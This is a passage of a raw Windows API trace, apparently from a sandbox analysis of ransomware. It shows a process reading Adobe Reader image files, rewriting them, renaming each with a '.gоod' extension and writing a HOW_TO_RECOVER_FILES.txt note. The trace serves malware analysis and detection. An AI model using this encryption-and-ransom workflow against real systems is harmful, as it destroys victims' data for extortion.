GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x3e3 [0127.487] ReadFile (in: hFile=0x61c, lpBuffer=0x35ee588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x35ee588*, lpNumberOfBytesRead=0x1f35bf48*=0x3e3, lpOverlapped=0x0) returned 1 [0127.488] CloseHandle (hObject=0x61c) returned 1 [0128.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0128.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.182] GetFileType (hFile=0x630) returned 0x1 [0128.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0128.182] GetFileType (hFile=0x630) returned 0x1 [0128.182] WriteFile (in: hFile=0x630, lpBuffer=0x367d0d0*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x367d0d0*, lpNumberOfBytesWritten=0x1f35be58*=0x3f0, lpOverlapped=0x0) returned 1 [0128.185] CloseHandle (hObject=0x630) returned 1 [0128.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif", lpFilePart=0x0) returned 0x5b [0128.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif.gоod", lpFilePart=0x0) returned 0x60 [0128.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0128.185] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x489e4fa7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f0)) returned 1 [0128.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0128.185] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOffNotificationInTray.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnoffnotificationintray.gif.gоod")) returned 1 [0128.186] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif", lpFilePart=0x0) returned 0x5d [0128.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0128.186] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif"), fInfoLevelId=0x0, lpFileInformation=0x367e3e8 | out: lpFileInformation=0x367e3e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x33f)) returned 1 [0128.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0128.186] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif", lpFilePart=0x0) returned 0x5d [0128.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0128.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.186] GetFileType (hFile=0x630) returned 0x1 [0128.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0128.186] GetFileType (hFile=0x630) returned 0x1 [0128.186] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x33f [0128.187] ReadFile (in: hFile=0x630, lpBuffer=0x367ea70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x367ea70*, lpNumberOfBytesRead=0x1f35bf48*=0x33f, lpOverlapped=0x0) returned 1 [0128.188] CloseHandle (hObject=0x630) returned 1 [0129.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0129.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.127] GetFileType (hFile=0x630) returned 0x1 [0129.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0129.127] GetFileType (hFile=0x630) returned 0x1 [0129.127] WriteFile (in: hFile=0x630, lpBuffer=0x35647b0*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35647b0*, lpNumberOfBytesWritten=0x1f35be58*=0x340, lpOverlapped=0x0) returned 1 [0129.128] CloseHandle (hObject=0x630) returned 1 [0129.128] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif", lpFilePart=0x0) returned 0x5d [0129.128] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.gоod", lpFilePart=0x0) returned 0x62 [0129.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0129.128] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x492ef70b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0129.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0129.128] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationinacrobat.gif.gоod")) returned 1 [0129.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif", lpFilePart=0x0) returned 0x5a [0129.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0129.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif"), fInfoLevelId=0x0, lpFileInformation=0x3565ad0 | out: lpFileInformation=0x3565ad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3ea)) returned 1 [0129.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0129.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif", lpFilePart=0x0) returned 0x5a [0129.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0129.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0129.130] GetFileType (hFile=0x630) returned 0x1 [0129.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0129.130] GetFileType (hFile=0x630) returned 0x1 [0129.130] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x3ea [0129.130] ReadFile (in: hFile=0x630, lpBuffer=0x35661f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x35661f8*, lpNumberOfBytesRead=0x1f35bf48*=0x3ea, lpOverlapped=0x0) returned 1 [0129.131] CloseHandle (hObject=0x630) returned 1 [0129.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0129.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.557] GetFileType (hFile=0x6e0) returned 0x1 [0129.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0129.559] GetFileType (hFile=0x6e0) returned 0x1 [0129.560] WriteFile (in: hFile=0x6e0, lpBuffer=0x35b4f98*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35b4f98*, lpNumberOfBytesWritten=0x1f35be58*=0x3f0, lpOverlapped=0x0) returned 1 [0129.561] CloseHandle (hObject=0x6e0) returned 1 [0129.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif", lpFilePart=0x0) returned 0x5a [0129.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif.gоod", lpFilePart=0x0) returned 0x5f [0129.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0129.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x49704197, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f0)) returned 1 [0129.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0129.561] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\turnOnNotificationInTray.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\turnonnotificationintray.gif.gоod")) returned 1 [0129.562] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif", lpFilePart=0x0) returned 0x49 [0129.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0129.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif"), fInfoLevelId=0x0, lpFileInformation=0x35b62a0 | out: lpFileInformation=0x35b62a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171)) returned 1 [0129.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0129.562] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif", lpFilePart=0x0) returned 0x49 [0129.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0129.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.562] GetFileType (hFile=0x6e0) returned 0x1 [0129.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0129.563] GetFileType (hFile=0x6e0) returned 0x1 [0129.563] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x171 [0129.563] ReadFile (in: hFile=0x6e0, lpBuffer=0x35b66c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x35b66c0*, lpNumberOfBytesRead=0x1f35bf48*=0x171, lpOverlapped=0x0) returned 1 [0129.563] CloseHandle (hObject=0x6e0) returned 1 [0129.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0129.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.594] GetFileType (hFile=0x6e0) returned 0x1 [0129.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0129.594] GetFileType (hFile=0x6e0) returned 0x1 [0129.594] WriteFile (in: hFile=0x6e0, lpBuffer=0x362e5d8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x362e5d8*, lpNumberOfBytesWritten=0x1f35be58*=0x180, lpOverlapped=0x0) returned 1 [0129.595] CloseHandle (hObject=0x6e0) returned 1 [0129.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif", lpFilePart=0x0) returned 0x49 [0129.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif.gоod", lpFilePart=0x0) returned 0x4e [0129.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0129.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x49750731, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x180)) returned 1 [0129.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0129.595] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\warning.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\warning.gif.gоod")) returned 1 [0129.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0129.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0129.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0129.760] GetFileType (hFile=0x63c) returned 0x1 [0129.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0129.760] GetFileType (hFile=0x63c) returned 0x1 [0130.571] WriteFile (in: hFile=0x63c, lpBuffer=0x354f6a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x354f6a0*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0130.572] CloseHandle (hObject=0x63c) returned 1 [0130.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0130.573] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes", lpFilePart=0x0) returned 0x3e [0130.573] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.575] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.575] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1acb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DarkTheme.acrotheme", cAlternateFileName="DARKTH~1.ACR")) returned 1 [0130.576] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 1 [0130.576] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.576] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0130.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0130.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0130.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes", lpFilePart=0x0) returned 0x3e [0130.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, 